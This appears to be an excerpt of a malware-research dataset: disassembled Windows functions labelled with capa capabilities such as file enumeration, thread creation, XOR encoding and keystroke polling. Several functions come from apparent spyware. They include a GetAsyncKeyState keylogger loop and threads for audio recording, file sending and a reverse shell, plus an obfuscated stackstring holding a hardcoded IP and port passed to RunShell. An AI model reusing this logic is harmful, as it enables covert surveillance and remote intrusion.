joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4073fd
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x416008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x407448
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00407598
test al, al
jne 0x407442
sub edx, 2
cmp edx, edi
jne 0x407428
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40746a
lea eax, [edi + 2]
cmp edx, eax
je 0x40746a
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00407349
add esp, 0x10
jmp 0x407564
push esi
lea ecx, [ebp - 0x255]
call fcn.00407598
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4074ad
push dword [ebp - 0x25c]
jmp 0x40745a
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4074ea
cmp word [ebp - 0x226], 0
je 0x40750b
cmp word [ebp - 0x226], ax
jne 0x4074ea
cmp word [ebp - 0x224], 0
je 0x40750b
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00407349
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x407557
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4074c4
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40753f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x407564
push 0x407179
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040a190
add esp, 0x10
jmp 0x407534
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401a11
leave
ret

Function at 0x4090da
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4112bc
push 0x4112b4
push str.FlsAlloc
push 0x1f
call fcn.00409015
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40910e
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f17c]
call esi
jmp 0x409114
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409158
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4112cc
push 0x4112c4
push str.FlsGetValue
push 0x21
call fcn.00409015
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40918f
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f17c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x409197
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4112d4
push 0x4112cc
push str.FlsSetValue
push 0x22
call fcn.00409015
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4091d1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40f17c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x402508
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x44
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0xc], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym.__Z23handleBufferAfterListenPv_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x4025b2
call sym._GetLastError_0
mov ebx, eax
mov dword [esp + 4], str.Erreur_lors_de_la_cration_du_thread_:
mov dword [esp], sym.imp.libstdc_6.dll_std::cerr
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], ebx
mov ecx, eax
call sym.std::ostream::operator___unsigned_long_
sub esp, 4
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov eax, 0xffffffff
jmp 0x4025c6
mov dword [esp], 1
call sym._Sleep_4
sub esp, 4
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x402e3e
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0xff
jg 0x402e44
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
setne al
test al, al
je 0x402e90
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov ecx, sym.imp.libstdc_6.dll_std::cout
call sym.std::ostream::operator___int_
sub esp, 4
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
add dword [ebp - 0xc], 1
jmp 0x402e4b

Function at 0x403005
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.__Z23keyloggerThreadFunctionPv_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], edx
nop
leave
ret

Function at 0x40304b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.__Z25threadEnregistrementAudioPv_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], edx
nop
leave
ret

Function at 0x403091
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.__Z17fileSendingThreadPv_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], edx
nop
leave
ret

Function at 0x4030d7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.__Z18threadReverseShellPv_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], edx
nop
leave
ret
Function at 0x404895
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x19], 0x362e3238
mov dword [ebp - 0x15], 0x37332e34
mov dword [ebp - 0x11], 0x3235322e
mov byte [ebp - 0xd], 0
mov dword [ebp - 0xc], 0x115c
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x19]
mov dword [esp], eax
call sym.RunShell_char__int_
nop
leave
ret
Function at 0x405260
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x41709c
call sym._EnterCriticalSection_4
mov ebx, dword [0x417094]
sub esp, 4
test ebx, ebx
je 0x4052ab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4052a4
test esi, esi
je 0x4052a4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x405280
mov dword [esp], 0x41709c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x405490
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4054e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4055b8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40551e
cmp eax, 4
jne 0x405540
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40552e
cmp edx, 4
je 0x40552e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00405490
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4042e8
Capabilities:
Encode data using xor

Disassembly:
push 0x1ac2beda
mov ecx, 0x3b60af9b
pop ebx
xor ecx, ebx
mov eax, 0x80604
mov edi, 0x40458000
xor eax, edi
xor ecx, eax
mov esi, 0x33b1ad85
mov edx, 0x6a408488
xor edx, esi
xor ecx, edx
mov esi, 0xffabbe5
xor ecx, esi
xor ecx, 0x2622987d
mov edx, 0x77fc9d56
xor edx, 0x77bc4cd6
mov esi, edx
sub esi, 0xffffffa3
mov ecx, dword [esi - 0x5d]
mov edx, dword [ecx]
mov edi, 0xf8510ef
xor edx, edi
xor edx, 0x2318a332
mov esi, edx
push esi
pop eax
mov ecx, eax
ror dword [ecx + 0x1db31cf], 0xfb
mov ecx, 0x149fbdee
mov ebx, 0x36dabdfe
xor ebx, ecx
mov edx, 0x58962659
xor edx, 0x58b42796
xor ebx, edx
mov esi, 0x7d14c627
mov edx, 0x349ff3f7
xor edx, esi
xor ebx, edx
cmp ebx, 0
jne 0x403f87
shl byte [ebx + 0x40c028], 0xe8
xor esi, ebp
invalid

Function at 0x40520c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405245
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40524e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405258
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405279
mov al, byte [esp]
jmp 0x40527b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4069dc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x406a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00406978
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a2b
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x406c2c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406cba
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x406c77
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, esi
call fcn.00403278
jmp 0x406ca4
call sub.kernel32.dll_GetCommandLineA_1
cmp byte [eax], 0
jne 0x406c8b
lea eax, [ebp - 4]
call fcn.00403198
jmp 0x406c9a
lea edx, [ebp - 4]
call fcn.00406af0
test ebx, ebx
je 0x406c9a
dec ebx
jmp 0x406c7c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406cc1
lea eax, [ebp - 4]
call fcn.00403198
ret
Function at 0x10002960
Capabilities:
Encode data using base64

Disassembly:
push edi
mov edi, dword [esp + 0x14]
cmp edi, 0x3fffffff
jae 0x10002a4d
lea eax, [edi + 2]
push 3
cdq
pop ecx
idiv ecx
lea eax, [eax*4 + 1]
cmp dword [esp + 0xc], eax
jl 0x10002a4d
push ebx
mov ebx, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x10]
cmp edi, ecx
jle 0x100029fb
lea eax, [edi - 4]
xor edx, edx
div ecx
push ebp
lea ebp, [eax + 1]
imul ecx, ebp, 3
sub edi, ecx
push dword [ebx]
call sub.MSVCR120.dll__byteswap_ulong
mov edx, eax
add ebx, 3
pop ecx
mov ecx, edx
shr ecx, 0x1a
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi], cl
mov ecx, edx
shr ecx, 0x14
and ecx, 0x3f
mov al, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + 1], al
mov eax, edx
shr eax, 0xe
and eax, 0x3f
shr edx, 8
and edx, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + 2], al
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + 3], al
add esi, 4
dec ebp
jne 0x100029a9
pop ebp
xor edx, edx
test edi, edi
je 0x10002a30
mov ecx, edi
shl ecx, 3
movzx eax, byte [ebx]
shl edx, 8
add edx, eax
inc ebx
dec edi
jne 0x10002a06
test ecx, ecx
jle 0x10002a30
shl edx, 6
mov eax, edx
shr eax, cl
sub ecx, 6
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi], al
inc esi
test ecx, ecx
jg 0x10002a19
mov ecx, esi
sub ecx, dword [esp + 0x10]
jmp 0x10002a3d
mov byte [esi], 0x3d
inc esi
inc ecx
test cl, 3
jne 0x10002a38
mov eax, dword [esp + 0x10]
mov byte [esi], 0
pop esi
pop ebx
pop edi
ret
xor eax, eax
pop edi
ret

Function at 0x10003b8c
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
mov esi, dword [esp + 0x1c]
xor ebp, ebp
push edi
mov edi, dword [esp + 0x14]
add esi, ebx
mov dword [esp + 0x1c], esi
cmp dword [edi + 0x400], ebp
jne 0x10003c26
test bl, 3
je 0x10003bca
cmp ebx, esi
jae 0x10003bca
movzx ecx, byte [ebx]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [edi + ecx*4]
inc ebx
jmp 0x10003bb0
lea eax, [esi - 3]
mov ecx, eax
sub ecx, ebx
add ecx, 3
shr ecx, 2
cmp eax, ebx
sbb esi, esi
not esi
and esi, ecx
jbe 0x10003c22
xor edx, dword [ebx]
add ebx, 4
mov ecx, edx
mov eax, edx
shr ecx, 8
and ecx, 0xff
shr eax, 0x10
and eax, 0xff
mov ecx, dword [edi + ecx*4 + 0x800]
xor ecx, dword [edi + eax*4 + 0x400]
movzx eax, dl
shr edx, 0x18
xor ecx, dword [edi + eax*4 + 0xc00]
xor ecx, dword [edi + edx*4]
inc ebp
mov edx, ecx
cmp ebp, esi
jb 0x10003be1
xor ebp, ebp
mov esi, dword [esp + 0x1c]
mov eax, esi
sub eax, ebx
cmp esi, ebx
sbb esi, esi
not esi
and esi, eax
jbe 0x10003c48
movzx ecx, byte [ebx]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [edi + ecx*4]
inc ebx
inc ebp
cmp ebp, esi
jb 0x10003c34
pop edi
pop esi
pop ebp
mov eax, edx
pop ebx
ret
Function at 0x10003c9f
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x14]
lea eax, [edi - 8]
cmp eax, 0x18
ja 0x10003d8c
xor eax, eax
xor edx, edx
inc eax
mov ecx, edi
call fcn.10010cc0
xor esi, esi
cmp esi, edx
jg 0x10003d8c
jl 0x10003cd3
cmp dword [esp + 0x18], eax
jae 0x10003d8c
cmp dword [esp + 0x1c], 0x404
je 0x10003ceb
cmp dword [esp + 0x1c], 0x1000
jne 0x10003d8c
push ebx
push ebp
push 0x20
pop ecx
sub ecx, edi
mov ebp, 0x100
mov edi, dword [esp + 0x14]
mov dword [esp + 0x1c], ecx
cmp dword [esp + 0x18], 0
push 8
je 0x10003d22
mov ecx, esi
pop edx
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, dword [esp + 0x20]
xor ecx, eax
dec edx
jne 0x10003d0b
mov dword [edi + esi*4], ecx
jmp 0x10003d46
mov edx, dword [esp + 0x24]
mov eax, esi
shl eax, 0x18
shl edx, cl
pop ebx
mov ecx, eax
add eax, eax
sar ecx, 0x1f
and ecx, edx
xor eax, ecx
dec ebx
jne 0x10003d2e
push eax
call sub.MSVCR120.dll__byteswap_ulong
pop ecx
mov dword [edi + esi*4], eax
mov ecx, dword [esp + 0x1c]
inc esi
cmp esi, ebp
jb 0x10003cff
cmp dword [esp + 0x24], 0x1000
mov dword [edi + 0x400], 1
jb 0x10003d86
mov edx, edi
push 3
mov esi, edx
pop ebx
mov ecx, dword [esi]
lea esi, [esi + 0x400]
movzx eax, cl
shr ecx, 8
xor ecx, dword [edi + eax*4]
mov dword [esi], ecx
dec ebx
jne 0x10003d6a
add edx, 4
dec ebp
jne 0x10003d65
pop ebp
xor eax, eax
pop ebx
jmp 0x10003d8f
push 0xffffffffffffffea
pop eax
pop edi
pop esi
ret

Function at 0x10008f6e
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10028150]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [0x10035194], eax
cmp eax, 0xffffffff
je 0x10008fe0
push str.NO_COLOR
call dword [sym.imp.MSVCR120.dll_getenv]
pop ecx
test eax, eax
jne 0x10008fe0
push str.AV_LOG_FORCE_NOCOLOR
call dword [sym.imp.MSVCR120.dll_getenv]
pop ecx
test eax, eax
jne 0x10008fe0
lea eax, [ebp - 0x1c]
mov dword [0x10028068], 1
push eax
push dword [0x10035194]
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov eax, dword [ebp - 0x14]
mov word [0x10035190], ax
and eax, 0xf0
mov word [0x1003518c], ax
jmp 0x10008fe7
and dword [0x10028068], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010c9c
mov esp, ebp
pop ebp
ret
Function at 0x40489c
Capabilities:
Set file attributes

Disassembly:
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
setne al
ret

Function at 0x4048b7
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x423148], 0
push esi
mov esi, edx
jne 0x4048ef
mov edx, ecx
push ebx
lea ecx, [ebp - 0xc]
call fcn.004048ff
mov eax, dword [eax]
mov edx, esi
mov ecx, eax
call fcn.0040489c
mov bl, al
push dword [ebp - 0xc]
call fcn.00403a9c
pop ecx
mov al, bl
pop ebx
jmp 0x4048fc
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne al
pop esi
leave
ret

Function at 0x40494e
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x423148], 0
jne 0x40497f
mov edx, ecx
push ebx
lea ecx, [ebp - 0xc]
call fcn.004048ff
mov ecx, dword [eax]
call fcn.004048aa
mov bl, al
push dword [ebp - 0xc]
call fcn.00403a9c
pop ecx
mov al, bl
pop ebx
leave
ret
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
leave
ret

Function at 0x40499c
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x423148], 0
jne 0x4049cd
mov edx, ecx
push ebx
lea ecx, [ebp - 0xc]
call fcn.004048ff
mov ecx, dword [eax]
call fcn.0040498d
mov bl, al
push dword [ebp - 0xc]
call fcn.00403a9c
pop ecx
mov al, bl
pop ebx
leave
ret
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne al
leave
ret

Function at 0x404bfa
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x423148], 0
push esi
mov esi, ecx
jne 0x404c2e
push ebx
mov edx, esi
lea ecx, [ebp - 0xc]
call fcn.004048ff
mov ecx, dword [eax]
call fcn.00404bdc
mov bl, al
push dword [ebp - 0xc]
call fcn.00403a9c
pop ecx
mov al, bl
pop ebx
jmp 0x404c47
xor edx, edx
mov ecx, esi
call fcn.004048b7
test al, al
je 0x404c47
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne al
pop esi
leave
ret

Function at 0x405298
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x5a], 0x41
call fcn.00404ea5
push eax
push esi
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.00404e5a
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00404ea5
push eax
push esi
push dword [ebp + 8]
call fcn.00404e5a
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00404e95
mov bl, byte [edi - 0x5f]
jp 0x4052a0
popfd
jl 0x40531a
invalid
invalid